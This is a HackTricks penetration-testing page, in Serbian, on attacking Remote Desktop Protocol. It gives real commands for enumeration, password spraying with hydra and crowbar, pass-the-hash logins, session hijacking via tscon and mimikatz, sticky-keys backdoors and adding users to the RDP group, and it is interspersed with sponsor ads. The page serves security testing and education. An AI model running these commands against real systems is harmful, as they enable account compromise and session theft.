hacktricks/network-services-pentesting/pentesting-rdp.md

173 lines
9.4 KiB
Markdown

# 3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Osnovne informacije
Razvijen od strane Microsoft-a, **Protokol za daljinsku radnu površinu** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.
**Podrazumevani port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeracija
### Automatski
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Proverava dostupnu enkripciju i DoS ranjivost (bez izazivanja DoS na uslugu) i dobija NTLM Windows informacije (verzije).
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
**Budite oprezni, mogli biste zaključati naloge**
### **Password Spraying**
**Budite oprezni, mogli biste zaključati naloge**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Povežite se sa poznatim akreditivima/hash-om
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Proverite poznate akreditive protiv RDP usluga
rdp\_check.py iz impacket-a vam omogućava da proverite da li su neki akreditivi validni za RDP uslugu:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i pentesting**. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Napadi**
### Krađa sesija
Sa **SYSTEM dozvolama** možete pristupiti bilo kojoj **otvorenoj RDP sesiji bilo kog korisnika** bez potrebe da znate lozinku vlasnika.
**Dobijte otvorene sesije:**
```
query user
```
**Pristup odabranoj sesiji**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Sada ćete biti unutar odabrane RDP sesije i moraćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije.
**Važno**: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio tu sesiju.
Možete dobiti lozinke iz procesa tako što ćete ga iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
#### **Mimikatz**
Takođe možete koristiti mimikatz za ovo:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Kombinovanjem ove tehnike sa **stickykeys** ili **utilman**, moći ćete da pristupite administrativnom CMD-u i bilo kojoj RDP sesiji u bilo kojem trenutku.
Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika sa: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Ako se neko iz druge domene ili sa **boljim privilegijama prijavi putem RDP-a** na PC gde **ste vi Admin**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Automatic Tools
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** je post-exploatacioni okvir kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **vidi radnu površinu svoje žrtve bez njenog pristanka**, pa čak i da njome upravlja na zahtev, koristeći alate koji su izvorni za sam operativni sistem.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Kontrola miša i tastature na automatizovan način iz komandne linije
* Kontrola međuspremnika na automatizovan način iz komandne linije
* Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka meti putem RDP-a
* Izvršavanje proizvoljnih SHELL i PowerShell komandi na meti bez učitavanja fajlova
* Učitavanje i preuzimanje fajlova sa/na metu čak i kada su prenosi fajlova onemogućeni na meti
## HackTricks Automatic Commands
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
<figure><img src="/.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}